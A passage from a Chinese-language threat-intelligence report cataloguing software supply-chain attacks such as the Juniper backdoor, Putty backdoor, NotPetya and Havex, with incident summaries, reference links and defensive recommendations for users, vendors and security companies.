设备的SSH登录系统在输入任意用户名的情况下，使用超级密码就可以最高权限登录系统，设备的VPN安全通道上传递的数据可以被攻击人解密、篡改和注入。
**影响范围** 全球上万NetScreen设备被攻击。
**参考链接**
<https://www.secpulse.com/archives/42059.html>
<http://netsecurity.51cto.com/art/201512/502232.htm>
[http://www.myibc.net/about-us/news/1627-juniper-vpn后门事件分析.html](http://www.myibc.net/about-us/news/1627-juniper-vpn%E5%90%8E%E9%97%A8%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90.html)
**WormHole**
**事件名称** WormHole
**披露时间** 2015年11月
**事件描述** 2015年11月百度moplus
SDK的一个被称为虫洞（Wormhole）的漏洞被漏洞报告平台wooyun.org所披露，研究人员发现Moplus
SDK具有后门功能，但这不一定是由于漏洞或跟漏洞相关，之所以称之为漏洞是基于Moplus
SDK的访问权限控制以及应该如何限制这种访问的角度。因此，它虽然具有漏洞相关的概念而实际上是一个后门程序，如推送钓鱼网页，插入任意联系人，发送伪造短信，上传本地文件到远程服务器，未经用户授权安装任意应用到Android设备。而执行这些行为唯一的要求是该设备首先需要连接互联网。由于Moplus
SDK已经被集成到众多的Android应用程序中，这就意味着有上亿的Android用户受到了影响。研究结果还表明，已经有恶意软件在利用Moplus
SDK的漏洞了。
此后门被报导后“一石激起千层浪”，它被植入到14000款app当中，这些app有接近4000个都是由百度出品的。
**直接威胁** 推送钓鱼网页，插入任意联系人，发送伪造短信，上传本地文件到远程服务器，未经用户授权安装任意应用到Android设备
**影响范围** 14000款app遭植入，安卓设备感染量未知
**参考链接**
<http://bobao.360.cn/learning/detail/2244.html>
<https://www.secpulse.com/archives/40062.html>
**iBackDoor**
**事件名称** mobiSage广告库被植入后门代码
**披露时间** 2015年11月
**事件描述** 艾德思奇(adSage)是移动广告应用开发商。2015年11月FireEye的Zhaofeng等人发表了一篇报告叫《iBackDoor:
High-Risk Code Hits iOS
Apps》。报告中指出FireEye的研究员发现了疑似”后门”行为的广告库mobiSage在上千个app中，并且这些app都是在苹果官方App
Store上架的应用。通过服务端的控制,这些广告库可以做到录音和截屏、上传GPS信息、增删改查app数据、读写app的钥匙链、发送数据到服务器、利用URL
schemes打开其他app或者网页、安装企业应用等功能。
**直接威胁** 录音和截屏、上传GPS信息、增删改查app数据、读写app的钥匙链、发送数据到服务器、利用URL
schemes打开其他app或者网页、安装企业应用。
**影响范围** 2,846个app包含后门库，苹果设备感染量未知。
**参考链接**
<https://www.fireeye.com/blog/threat-research/2015/11/ibackdoor_high-risk.html>
<http://bobao.360.cn/learning/detail/2248.html>
<http://bobao.360.cn/learning/detail/2263.html>
**棱镜计划**
**事件名称** 棱镜计划（PRISM）
**披露时间** 2013年
**事件描述**
棱镜计划（PRISM）是一项由美国国家安全局（NSA）自2007年起开始实施的绝密电子监听计划，该计划的正式名号为“US-984XN”，直接进入美国网际网路公司的中心服务器里挖掘数据、收集情报，包括微软、雅虎、谷歌、苹果等在内的9家国际网络巨头皆参与其中。
其中以思科公司为代表的科技巨头利用其占有的市场优势在科技产品中隐藏“后门”，协助美国政府对世界各国实施大规模信息监控，随时获取各国最新动态。思科公司多款主流路由器产品被曝出在VPN隧道通讯和加密模块存在预置式“后门”，即技术人员在源码编写过程中已经将“后门”放置在产品中，利用“后门”可以获取密钥等核心敏感数据。
**直接威胁** 信息监控、获取敏感信息
**影响范围** 几乎涵盖所有接入互联网使用的人群
**参考链接**
[https://baike.baidu.com/item/棱镜门/6006333?fr=aladdin](https://baike.baidu.com/item/%E6%A3%B1%E9%95%9C%E9%97%A8/6006333?fr=aladdin)
<http://bobao.360.cn/news/detail/1406.html>
**F5 BIG-IP内置SSH 私钥**
**事件名称** F5 BIG-IP内置SSH私钥
**披露时间** 2012年6月
**事件描述** F5公司是应用交付网络(ADN)领域全球领导者.提供应用安全,数据中心防火墙,负载均衡,数据存储,广域网优化,虚拟化及云计算解决方案。
2012年6月，安全研究人员发现F5多个产品（F5 BIG-IP）存在一个未明配置错误，允许未身份验证的用户以“root”账户登录设备。问题原因是SSH
private key对应的公钥内置于漏洞设备中，使得用户可以绕过验证直接登录F5设备。
受影响的产品和版本如下：
BIG-IP LTM 版本9.x, 10.x和11.x
BIG-IP GTM 版本 9.x, 10.x和11.x
BIG-IP ASM 版本 9.x, 10.x和11.x
BIG-IP Link Controller 版本 9.x, 10.x和11.x
BIG-IP PSM 版本 9.x, 10.x和11.x
BIG-IP WOM 版本 10.x and 11.x
BIG-IP APM 版本 10.x and 11.x
BIG-IP Edge Gateway 版本 10.x和11.x
BIG-IP Analytics 版本 11.x
Enterprise Manager 版本 1.x和2.x
**直接威胁** 设备遭恶意用户绕过验证登录
**影响范围** 未知
**参考链接**
<https://www.trustmatta.com/advisories/MATTA-2012-002.txt>
<https://www.trustmatta.com/advisories/matta-disclosure-policy-01.txt>
**交付环节**
软件从开发商到达用户手中的过程都属于软件交付环节，在互联网时代，这个过程主要是通过购买/共享存储介质、网络下载等方式实施。
而基于我国的“国情”，国内针对软件交付环节进行攻击的案例最为广泛，因为攻击成本最低，主要体现在软件捆绑下载安装这类攻击手法中，另外还有诸如下载劫持（域名劫持、城域网缓存毒化）、物流链劫持等攻击手法。
**捆绑下载**
我们已经提到过，众多的未授权的第三方下载站点、云服务、共享资源、破解版软件等共同组成了灰色软件供应链，而通过灰色软件供应链获取的软件极易被攻击者植入恶意代码，比如2012年初的汉化版Putty后门事件，因为非官方汉化后被植入后门木马导致大量系统管理员账号密码泄露引发重大安全威胁。
不仅灰色供应链中获取的软件极易被植入恶意代码，就连某些正规的下载站、应用市场，由于审核不严等因素也被攻击者植入过含有恶意代码的“正规”软件，比如WireX
Android Botnet 污染 Google Play 应用市场事件。我们将所有这类针对用户获取软件产品的源头进行恶意代码植入的攻击统称为“捆绑下载”。
**WireX Android Botnet**
**事件名称** WireX Android Botnet 污染 Google Play 应用市场事件
**披露时间** 2017年8月28日
**事件描述** 2017年8月17日，名为WireX
BotNet的僵尸网络通过伪装普通安卓应用的方式大量感染安卓设备并发动了较大规模的DDoS攻击，此举引起了部分CDN提供商的注意，此后来自Akamai,
Cloudflare, Flashpoint, Google, Oracle Dyn, RiskIQ, Team
Cymru等组织联合对该事件进行分析，并于8月28日发布了该事件的安全报告。
**直接威胁** DDOS攻击
**影响范围** 已发现大约有300种不同的移动应用程序分散在Google
Play商店中，WireX引发的DDoS事件源自至少7万个独立IP地址，8月17日攻击数据的分析显示，来自100多个国家的设备感染了WireX
BotNet。
**参考链接**
[https://blog.cloudflare.com/the-wirex-botnet/?utm_content=buffer9e1c5&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer](https://blog.cloudflare.com/the-wirex-botnet/?utm_content=buffer9e1c5&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
<http://bobao.360.cn/learning/detail/4323.html>
<http://blogs.360.cn/blog/analysis_of_wirex_botnet>
**隐魂**
**事件名称** 隐魂
**披露时间** 2017年8月
**事件描述**
2017年8月，360安全中心紧急预警了一款感染MBR（磁盘主引导记录）的“隐魂”木马，感染MBR（磁盘主引导记录）的“隐魂”木马捆绑在大量色情播放器的安装包中诱导下载安装，安装包安装后调用加载读取释放出来的JPG图片并解密图片后的shellcode代码并执行。
“隐魂”木马入侵系统后劫持浏览器主页并安插后门实现远程控制。短短两周内，“隐魂”木马的攻击量已达上百万次，是迄今传播速度最快的MBR木马。
**直接威胁** 受感染计算机卡慢，浏览器主页劫持，远程控制计算机
**影响范围** 两周内，“隐魂”木马的攻击量已达上百万次
**参考链接**<http://bobao.360.cn/learning/detail/4238.html>
**假冒“老毛桃”**
**事件名称** 假冒“老毛桃”
**披露时间** 2017年8月
**事件描述**
2017年8月，360安全中心接到多起网友反馈，称电脑中所有浏览器的主页都被篡改，而且强制锁定为http://dh936.com/?00804推广页面。据360安全专家分析，这是一款假冒“老毛桃”PE盘制作工具的推广木马在恶意作祟。
下载该制作工具后，其捆绑的“净网管家”软件会释放木马驱动篡改首页。当发现中招者试图安装安全软件时，还会弹出“阻止安装”提示，诱导中招者停止安装。专家进一步分析后发现，该驱动还设置了不少保护措施逃避安全软件查杀，如禁止自身文件和注册表的浏览和读取等。
**直接威胁** 捆绑“净网管家”软件，释放木马驱动篡改首页，阻止安全软件安装
**影响范围** 针对老毛桃工具用户，感染量未知
**参考链接**<http://bobao.360.cn/interref/detail/207.html>
**异鬼**
**事件名称** 异鬼Ⅱ
**披露时间** 2017年7月
**事件描述**
2017年7月被曝光的异鬼ⅡBootkit木马通过高速下载器传播。隐藏在正规软件甜椒刷机中，带有官方数字签名，导致大量安全厂商直接放行。木马的VBR感染模块、恶意功能模块均由云端下发，作者可任意下发功能模块到受害者电脑执行任意恶意行为，目前下发的主要是篡改浏览器主页、劫持导航网站、后台刷流量等。
**直接威胁** 篡改浏览器主页、劫持导航网站、后台刷流量
**影响范围** 针对甜椒刷机软件用户，通过国内几大知名下载站的高速下载器推广，影响百万台机器
**参考链接**<http://www.freebuf.com/articles/web/141633.html>
**灵隐**
**事件名称** 灵隐
**披露时间** 2017年6月
**事件描述** 2017年6月，360安全卫士曝光了“灵隐”木马，该木马通过打包修改各种外挂，捆绑木马程序，再通过网盘和各类游戏论坛传播。
“灵隐”通过打包修改各种外挂，捆绑木马程序，再通过网盘和各类游戏论坛传播。执行劫持浏览器、删除安全软件、进行软件推广功能。
**直接威胁** 劫持浏览器、删除安全软件、进行软件推广功能
**影响范围** 针对游戏外挂使用者，360每天拦截该木马超10万次
**参考链接**<http://www.freebuf.com/articles/system/143461.html>
**火球（Fireball）**
**事件名称** 火球（Fireball）
**披露时间** 2017年6月
**事件描述**
2017年6月1日，知名安全公司CheckPoint发布报告称，发现了由中国公司控制的流氓软件“火球（Fireball）”，因受害者众多，已经引起国外安全机构的重视。
“火球（Fireball）”实际上是利用了野马浏览器、Deal
Wifi软件等8款流氓软件进行传播，这些流氓软件感染电脑后会将Chrome浏览器的首页、TAB页改为随机生成的搜索页，而用户无法更改。
不过戏剧性的是，微软表示其研究的结果表明“火球（Fireball）”感染率远低于Check
Point指出的数字，影响可能被夸大了。微软的数据表明，拉丁美洲和非洲许多国家的感染率都比Check Point的数字更低。微软表示，Check
Point根据访问搜索页面的次数估算出Fireball恶意软件感染率大小，而不是通过收集端点设备数据。
**直接威胁** 劫持Chrome浏览器首页及新标签页
**影响范围** Mustang Brower、Deal WiFi、FVP Imageviewer、Soso
Desktop、Holainput输入法、OZIP、Siviewer、Winzippers八款软件使用者，360威胁情报中心根据微软给出的感染分布图推算“火球（Fireball）”全球感染了大概千万左右的计算机系统。
**参考链接**
<https://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/>
<https://blogs.technet.microsoft.com/mmpc/2017/06/22/understanding-the-true-size-of-fireball/>
<http://www.huorong.cn/info/149663131668.html>
<http://m.bobao.360.cn/news/detail/4186.html>
**流量收割者**
**事件名称** 流量收割者
**披露时间** 2017年02月
**事件描述** 2017年02月，安全研究人员曝光当用户从百度旗下的http://www.skycn.net/和
http://soft.hao123.com/这两个网站下载任何软件时，都会被植入恶意代码。该恶意代码进入电脑后，会通过加载驱动等各种手段防止被卸载，进而长期潜伏，并随时可以被“云端”远程操控，用来劫持导航站、电商网站、广告联盟等各种流量。
**直接威胁** 导航站劫持、首页劫持、浏览器劫持、网盟广告劫持
**影响范围** 针对下载站使用者，传播范围未知
**参考链接**
<http://www.huorong.cn/info/148826116759.html?utm_sources=landian.la>
<http://news.163.com/17/0303/18/CEKF4K0U000187VE.html>
**“卫士”流氓软件**
**事件名称** “卫士”流氓软件
**披露时间** 2017年1月
**事件描述**
2017年1月某些安全软件公司接到用户反馈，刚刚装好的系统无法安装安全软件，具体表现为：安装程序执行安装步骤到一半的时候，安装程序自己消失，除此以外浏览器首页也被恶意篡改。进一步的分析发现，这些用户的问题是由于两个叫做“卫士”的流氓软件导致，分别是：“浏览器卫士”和“铠甲卫士”。
“浏览器卫士”和“铠甲卫士”以保卫用户电脑安全之名，执行推广软件、阻止安全软件安装、破坏安全软件功能操作。
**直接威胁** 推广软件安装，阻止安全软件安装，破坏安全软件功能
**影响范围** 针对“浏览器卫士”和“铠甲卫士”软件用户，感染量未知
**参考链接**<http://www.huorong.cn/info/148352991557.html>
**净广大师**
**事件名称** 净广大师
**披露时间** 2016年12月
**事件描述**
2016年12月自称通过多家安全厂商的认证的“净广大师”劫持百度搜索流量牟利。软件安装后，会释放一个名为rtdxftex.sys的驱动程序，该驱动程序具有很强的内核级对抗能力。被感染之初，用户不会感觉到任何异样，但该病毒驱动文件名会随着重启不断变换，以此来躲避安全厂商的截杀和代码分析。即使“净广大师”被卸载，该病毒功能依然会随机激活，劫持用户的搜索流量。
**直接威胁** 劫持基于HTTPS的百度搜索，仅可访问带计费ID的百度搜索网页
**影响范围** 针对净网大师软件用户，感染量未知
**参考链接**
<http://www.huorong.cn/info/148179983055.html>
<http://www.huorong.cn/info/148230103656.html>
**暗云**
**事件名称** 暗云
**披露时间** 2015年1月
**事件描述**
2015年1月首次被曝光的“暗云”是一种BootKit木马，恶意代码从云端下载执行。“暗云”通过对正常的“赤月传说”、“传奇霸业”等游戏微端进行patch，进而伪装成游戏通过各大下载站的下载器等多种传播渠道进行海量推广。
**直接威胁** 设置浏览器主页、关闭杀软、推广网站
**影响范围** 针对下载器使用者，百万级计算机被感染
**参考链接**
<http://www.freebuf.com/vuls/57868.html>
<http://www.freebuf.com/articles/system/109096.html>
<http://www.freebuf.com/articles/system/134017.html>
<http://www.freebuf.com/vuls/57868.html>
**中文版Putty后门事件**
**事件名称** 中文版Putty后门事件
**披露时间** 2012年2月
**事件描述**
汉化版Putty在2012年2月被曝光在软件中发现后门，中文版Putty在用户输入所有信息之后在服务器验证密码用户名信息之前，新增发送服务器地址、用户名、密码到特定asp空间的恶意逻辑，导致使用他的用户其服务器信息被窃取。
这一安全事件可能是Putty在汉化过程中被攻击者恶意植入木马后门再通过各类第三方下载站传播。
**直接威胁** 获取使用Putty登录的服务器地址、用户名、密码
**影响范围** 此次事件窃取服务器root密码近3万条，多家跨国企业也中招
**参考链接**
<http://os.51cto.com/art/201202/314269.htm>
<http://bbs.duba.net/thread-22623363-1-1.html>
**下载劫持**
软件从各种网络渠道下载过程中也可能受到攻击，比如被捆绑恶意软件、篡改、劫持下载的域名等，以下列举一些实际的攻击方式：
**域名劫持**
攻击者通过劫持下载站点的域名，使得用户访问到攻击者指定的下载站点下载恶意软件，而用户却全然不知，比如2010年百度域名劫持事件。
**CDN污染、P2P缓存毒化**
攻击者通过CDN污染、P2P缓存毒化等方式，使得用户在使用某些下载软件提供的缓存加速功能时下载到攻击者事先毒化后的文件块，而前面提到的“Xcode非官方版本恶意代码污染”事件所涉及的软件版本就有通过被P2P缓存毒化后植入非官方版本的可能。
**参考链接：**
<http://weibo.com/3802345927/CBAPoj5IR>
<http://weibo.com/1401527553/AaPhvCON9>
<http://blog.csdn.net/u011354613/article/details/52025387>
**物流链劫持**
在软硬件交付环节中，针对物流链层面的攻击也有不少相关案例，攻击者可能通过替换、植入、修改等方式在软硬件产品送达消费者之前的整个物流环节中进行攻击。
常见的攻击方式有：软硬件产品代理生产环节攻击（生产安装光盘等存储介质时植入木马）、运输环节对产品进行掉包替换等等，下面是相关案例介绍。
**“方程式”组织硬盘固件程序攻击**
卡巴斯基安全实验室在2015年2月16日起发布系列报告披露了一个可能是目前世界上存在的最复杂的网络攻击组织：“方程式”组织（Equation Group）。
该组织拥有一套用于植入恶意代码的超级信息武器库（在卡巴的报告中披露了其中6个），其中包括两个可以对数十种常见品牌的硬盘固件重编程的恶意模块，这可能是该组织掌握的最具特色的攻击武器，同时也是首个已知的能够感染硬盘固件的恶意代码。
而通过相关安全公司分析的结论我们可以推论，在此次硬盘固件程序攻击事件中可以做到如此有针对性（特定目标、行业），部分攻击方式极有可能属于物流链劫持，即在特定目标采购、返修主机或硬盘的过程中修改了硬盘固件。
**使用环节**
软硬件产品抵达消费者手中后则属于软件使用环节，而用户在使用过程中，除了产品本身的安全缺陷造成的威胁以外，还可能遭受使用环境等带来的威胁，针对使用环节常见的攻击方式主要有软件升级劫持等。
**升级劫持**
软件产品在整个生命周期中几乎都要对自身进行更新，常见的有功能更新升级、修复软件产品BUG等等。攻击者可以通过劫持软件更新的“渠道”，比如通过预先植入用户机器的病毒木马重定向更新下载链接、运营商劫持重定向更新下载链接、软件产品更新模块在下载过程中被劫持替换（未校验）等等方式对软件升级过程进行劫持进而植入恶意代码。下面是相关案例：
**Kuzzle**
**事件名称** Kuzzle
**披露时间** 2017年8月
**事件描述**
2017年8月，安全公司截获恶性病毒“Kuzzle”，该病毒感染电脑后会劫持浏览器首页牟利，同时接受病毒作者的远程指令进行其他破坏活动。“Kuzzle”拥有非常高的技术水平，采用多种手段躲避安全软件的查杀，甚至盗用知名安全厂商的产品数字签名，利用安全软件的“白名单”的信任机制来躲避查杀。更严重的是，用户即使重装系统也难以清除该病毒，使用户电脑长期处于被犯罪团伙的控制之下。
“Kuzzle”通过下载站的高速下载器推广传播，下载器会默认下载携带病毒的“云记事本”程序。电脑感染病毒后，浏览器首页会被劫持，谷歌、火狐、360等多款主流浏览器都会被修改为hao123导航站。
**直接威胁** 浏览器首页劫持，推广网页添加至浏览器收藏夹
**影响范围** 针对下载站的高速下载器使用者，感染量未知
**参考链接**<http://www.huorong.cn/info/150173981974.html>
**基于域名bjftzt.cdn.powercdn.com软件升级劫持攻击**
**事件名称** 基于域名bjftzt.cdn.powercdn.com软件升级劫持攻击
**披露时间** 2017年7月5日
**事件描述**
360安全卫士在2017年7月5日披露，有多款软件用户密集反映360“误报了软件的升级程序”，但事实上，这些软件的升级程序已经被不法分子恶意替换。
这次事件其实是基于域名bjftzt.cdn.powercdn.com的一组大规模软件升级劫持事件。用户尝试升级若干知名软件客户端时，运营商将HTTP请求重定向至恶意软件并执行。恶意软件会在表面上正常安装知名软件客户端的同时，另外在后台偷偷下载安装推广其他软件。山东、山西、福建、浙江等多省的软件升级劫持达到空前规模，360安全卫士对此类攻击的单日拦截量突破40万次。
**直接威胁** 下载推广软件
**影响范围** 几款用户量上亿的软件均被劫持，攻击拦截量40万/日，域名的访问量月平均访问次数约为2000万/日，高峰时期4千万/日
**参考链接**
<http://bobao.360.cn/interref/detail/187.html>
<http://bobao.360.cn/interref/detail/192.html>
**NotPetya**
**事件名称** NotPetya
**披露时间** 2017年6月
**事件描述**
2017年6月27日晚，据外媒消息，乌克兰、俄罗斯、印度、西班牙、法国、英国以及欧洲多国遭遇了Petya勒索病毒变种NotPetya的袭击，政府、银行、电力系统、通讯系统等都不同程度地受到了影响。NotPetya勒索病毒传播时利用的漏洞和WannaCry相同，同时还具备其他网络感染手段。
病毒攻击的根源是劫持了乌克兰专用会计软件me-doc的升级程序，使用户更新软件时感染病毒。
**直接威胁** 计算机遭比特币勒索,文件被加密
**影响范围** 12,500台机器被感染
**参考链接**
<http://fortune.com/2017/06/27/petya-ransomware-ukraine-medoc/>
<http://www.zdnet.com/article/microsoft-petya-ransomware-attacks-were-spread-by-hacked-software-updater/>
<http://112.international/ukraine-top-news/microsoft-confirms-complicity-of-medoc-to-petya-virus-spread-18323.html>
<http://bobao.360.cn/interref/detail/183.html>
**Toxik**
**事件名称** Toxik
**披露时间** 2016年7月
**事件描述**
2016年7月安全公司曝光一种病毒，长期潜伏在某知名下载站中。该病毒将自身伪装成流行软件（游戏修改器、系统周边工具等）在下载站中进行传播，在用户运行后，该病毒会利用国内某知名互联网公司的软件升级程序（WPS升级程序）下载推广软件，甚至下载病毒驱动进行恶意推广。
该病毒利用explorer.exe下载大量推广软件，安装到用户计算机获得利益，安全软件对该病毒检测名称为“TrojanDropper/Toxik.a!sys”和“Trojan/
Toxik.a”。
**直接威胁** 广告推广、软件推广
**影响范围** 感染量未知
**参考链接**<http://www.huorong.cn/info/146855435236.html>
**幽灵推Ghost Push**
**事件名称** 幽灵推Ghost Push
**披露时间** 2015年9月
**事件描述**
2015年8月，酷派大神手机用户在安装官方提供的系统升级包后，手机便被预安装了MonkeyTest和TimeService等未知软件。截止到9月18日，该类病毒的每日感染量已经扩大到了最高70万台/天，有上万种机型收到了Ghost
Push的影响，典型的有酷派、三星、MOTO等等。
**直接威胁** 病毒软件开机自启、广告推送、静默安装软件
**影响范围** 针对酷派、三星、MOTO等上万种安卓机型手机用户，每日感染量已经扩大到了最高70万台/天
**参考链接**
<http://www.freebuf.com/articles/terminal/78781.html>
<http://www.pandasecurity.com/mediacenter/mobile-security/ghost-push-malware-android/>
**Havex**
**事件名称** Havex
**披露时间** 2014年6月
**事件描述**
安全公司在2014年披露了Havex木马攻击事件，该攻击时间最早为2011年，攻击者通过篡改供应商ICS/SCADA网站，使得通过这个网站上下载的软件升级包中包含恶意间谍软件，当用户下载这些软件并安装时实现对目标用户的感染。
**直接威胁** 远程控制、数据情报偷取
**影响范围** 针对能源电力运营商，主要为电力公司，石油管道运营商和能源产业控制系统（ICS）设备制造商。
大多数受害者都位于美国，西班牙，法国，意大利，德国，土耳其和波兰。1500台机器被控制
**参考链接**
<http://www.icsisia.com/article.php?id=152154>
<https://www.symantec.com/connect/blogs/emerging-threat-dragonfly-energetic-bear-apt-group>
<https://www.f-secure.com/weblog/archives/00002718.html>
<http://bobao.360.cn/learning/detail/3952.html>
**综合分析**
****
**事件信息展示图**
360威胁情报中心对以上供应链相关的实际案例根据其涉及环节、事件披露年份和影响面的大小形成了如下图示，使读者对这些事件有个比较直观的对比：
**主要发现与结论**
我们将近年来所有重大的针对软件供应链攻击的安全事件的多个属性进行梳理，配合上一节中的时序图可以发现，针对供应链攻击的安全事件在影响面、严重程度上都绝不低于传统的针对产品本身、操作系统的漏洞攻击，我们从以下几个维度总结软件供应链攻击的现状：
**从事件数量上看**
：大量的软件捆绑、流氓推广等针对供应链下游（交付环节）攻击的安全事件占据了供应链攻击的大头，受影响用户数多在百万级别，并且层出不穷，而这几类针对供应链的攻击可能事实上比流行漏洞导致的安全事件还要多。蠕虫级别的漏洞（MS08-067、MS17-10等）所导致的大规模的安全事件已经很少了，IOT类设备的安全问题导致的大规模Botnet构建活动在近期却非常活跃，但前两者的影响其实还远没有来自供应链的大。
**从影响面上看**
：由于基于软件捆绑进行流氓推广的供应链攻击大多采用了白签名绕过查杀体系的机制，其行为也介于黑白之间，因此从影响用户数来说远超一般的漏洞利用类攻击。而类似于XcodeGhost这类污染开发工具针对软件供应链上游（开发环境）进行攻击的安全事件虽然数量上不及针对交付环节的攻击，但攻击一旦成功，却可能影响上亿用户。所以，从整体上说供应链安全事件影响的用户数远比一般的漏洞影响还要大。
**从场景/环节上看**
：从上节的图中我们可以看到，大部分针对供应链攻击的安全事件主要集中在供应链下游（交付环节），这个环节出现最多的就是软件捆绑一类的攻击，而在开发环境/开发环节进行攻击的事件却偏少，不过这类攻击一旦发生则更为隐蔽，影响更为深远，并且发生在这一环节的攻击多属于国家行为。
**从趋势上看**
：针对供应链各环节被揭露出来的攻击在近几年都呈上升趋势，在趋于更加复杂化的互联网环境下，软件供应链所暴露给攻击者的攻击面越来越多，并且越来越多的攻击者也发现针对供应链的攻击相对针对产品本身的漏洞攻击可能更加容易，成本更低。
**对策建议**
****
在针对软件供应链攻击的整个场景中，主要涉及三类责任主体：
**最终用户**
**软硬件厂商**
**安全厂商**
其中最终用户和软硬件厂商实际上组成了整个应用场景，而安全厂商需要对应用生态提供安全相关的支持。基于这三类主体的不同需求和责任，360威胁情报中心分别提供如下的建议：
**最终用户**
在软硬件供应链中最终用户基本涉及交付和使用环节，我们建议最终用户注意以下几点：
1、尽可能使用正版和官方渠道输出的软件。上面的分析可以看到软件捆绑恶意代码是供应链攻击的最主要渠道，除了极少数的特例（如Xshell后门代码事件），如果完全使用正版软件可以抵抗绝大部分供应链攻击。使用搜索引擎搜索下载软件注意辨别下载链接是否是官方链接，如果是第三方下载站则需要注意是否为常用下载站，并点击正确的下载链接。下载使用各类非官方、盗版、破解以及来源不明的软件需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机运行此类软件。对于企业用户，如果有资源，软硬件上线使用前委托有能力的测评机构进行安全性评估，尽可能发现可能存在的安全隐患。
2、安装防病毒软件，打开实时防护，设置自动病毒库更新。尽管现在安全业界一股唱衰传统病毒防护方案的风气，然而我们不得不面对的现实是作为终端上最主要的一道防线其作用依然不可取代，特别是基于云安全架构的解决方案可以非常有效地应对已知的大规模威胁，比如WannaCry和Petya这类勒索蠕虫。
3、企业用户需要建设态势感知，完善资产管理及持续监控能力，并积极引入威胁情报。对于企业用户，由于保存了大量高价值数据并集成了强大的处理能力，一旦基于供应链的攻击得逞可能导致敏感信息的泄露和关键系统非授权受控，相应的业务和声誉损失远超个人用户。
尽管必须努力阻止供应链攻击的进入，但过往的安全实践也已经证明基于单点防御的银弹思维是失败的。基于某些环节必然被突破的假设，组织机构需要建立自己的纵深防御和持续监控机制，处理发现的异常，挖掘值得深入调查的事件。对组织自身的软硬件信息资产情况有完备的跟踪，当有供应链相关的威胁情报被通报时，组织就可以根据当前资产的匹配情况立即定位到受影响的资产加以处置，这时，如果有强大的集中管理工具则可以成百倍地提升处置效率，减少暴露在威胁下的时间把损失降低到最小程度。Xshell后门代码事件中，如果受影响的组织订阅了相关的情报，则有可能快速采取补救措施。并且这时如果组织内有360天擎这样的集中化的终端管控工具，就可以快速了解哪些终端使用着有后门的Xshell工具，批量化地进行软件升级并对受影响的终端做进一步的处理。
4、遵循权限最小化原则缩减攻击面，这也同样基于供应链的开发和交付环节必然被突破的假设。假设组织所使用的交换机路由器存在厂商有意无意植入的后门账号或安全漏洞，那么就会提醒我们至少需要保证其接口的访问来源是尽可能受限的，最低限度要防止资产直接暴露在互联网上而又不对访问来源IP进行限制，这样即使系统存在后门或漏洞也无法被大多数人利用。进行防御性的访问权限配置，缩小攻击面事实上是应对未知威胁最有效的方法论，但它对IT系统的管理能力提出了很高的要求，真正做到并不容易。
**软硬件厂商**
XshellGhost、棱镜门等真实案例证明了软件开发交付环节被攻击后的巨大危害，故软件开发及交付环节的安全防范至关重要，我们建议软件厂商在软件开发交付环节尽可能做到：
1、建立可信的开发环境，这包括可控可信任的软硬件环境，诸如正规渠道购买、下载的软硬件，可信的第三方开源/商业库、算法等，采购安全可信的软件外包服务。关注所用组件的安全通告，如被揭露出严重安全问题，通过配置或加入其他安全性控制作为缓解措施，必要时升级相关的组件。
2、培养开发人员的安全意识，在开发过程的各个环节建立检查点把安全性的评估作为一个必要评审项。开发环节严格遵守开发规范，防止类似调试后门等安全威胁的产生。开发完成的软硬件发布前交给独立的内部或外部测评组织进行安全性评估，及时解决所发现的问题。
3、在正规渠道发布软件，提供给用户可以验证安装包是否正确的数据，比如软件包的校验和信息。软件安装时校验自身的完整性，升级更新自身时校验下载回来安装包的签名，保证不运行被劫持的升级包。
**安全厂商**
长期以来安全厂商大多以软硬件、操作系统本身的漏洞为中心提供产品和服务的解决方案，针对供应链环节的安全问题似乎并没有投入足够的关注。通过上述对软件供应链各环节的重大安全事件分析可以看到，软件开发、交付、使用等环节都存在巨大的安全威胁，其导致的危害并不低于安全漏洞所导致的情况，因此仅关注软件及操作系统本身的安全威胁是远远不够的。所以，安全厂商需要从完整的软件供应链角度形成全景的安全视野，才能解决更多纵深的安全风险。基于最终用户和软硬件厂商的需求，安全厂商可以加强如下几点：
1、提升发现软硬件产品中安全问题的能力，不仅限于通常意义上的安全漏洞，需要拓展到后门及默认内置账号类的隐藏访问机制的发现，及时输出相应的威胁情报协助厂商和最终用户消除威胁。8月中的Xshell后门代码事件中，360威胁情报中心在国内最早确认了软件中后门的存在并发布了相关的通告，输出了可以帮助用户定位受影响系统的IOC，真正开始驱动事件响应。
2、提供创新型的产品和服务，为用户实现全面细致的态势感知，提供有效的资产管理和持续监控工具，并提供威胁情报能力帮助用户完成安全事件的快速检测和响应。揭示企业IT环境中安全相关的异常情况，给组织内安全团队提供值得调查分析的精准事件线索，发现可能的未知攻击。如Xshell后门事件，安全厂商先通过非正常域名的访问流量定位到相关的终端，最终在机器上找到发出相应网络请求的恶意代码。
**参考链接**
****
<http://0day5.com/archives/241/>
<http://112.international/ukraine-top-news/microsoft-confirms-complicity-of-medoc-to-petya-virus-spread-18323.html>
<http://bbs.duba.net/thread-22623363-1-1.html>
<http://blog.csdn.net/u011354613/article/details/52025387>
<http://blogs.360.cn/blog/analysis_of_wirex_botnet>
<http://bobao.360.cn/interref/detail/183.html>
<http://bobao.360.cn/interref/detail/187.html>
<http://bobao.360.cn/interref/detail/192.html>
<http://bobao.360.cn/interref/detail/207.html>
<http://bobao.360.cn/learning/detail/2244.html>
<http://bobao.360.cn/learning/detail/2248.html>
<http://bobao.360.cn/learning/detail/2263.html>
<http://bobao.360.cn/learning/detail/3847.html>
<http://bobao.360.cn/learning/detail/3952.html>
<http://bobao.360.cn/learning/detail/4238.html>
<http://bobao.360.cn/learning/detail/4278.html>
<http://bobao.360.cn/learning/detail/4323.html>
<http://bobao.360.cn/learning/detail/670.html>
<http://bobao.360.cn/news/detail/1260.html>
<http://bobao.360.cn/news/detail/1406.html>
<http://bobao.360.cn/news/detail/4159.html>
<http://fortune.com/2017/06/27/petya-ransomware-ukraine-medoc/>
<http://m.bobao.360.cn/news/detail/4186.html>
<http://mp.weixin.qq.com/s/QmNd9J84q7ZuWyrihUZBTg>
<http://netsecurity.51cto.com/art/201512/502232.htm>
<http://news.163.com/17/0303/18/CEKF4K0U000187VE.html>
<http://os.51cto.com/art/201202/314269.htm>
<http://weibo.com/1401527553/AaPhvCON9>
<http://weibo.com/3802345927/CBAPoj5IR>
<http://wiki.c2.com/?TheKenThompsonHack>
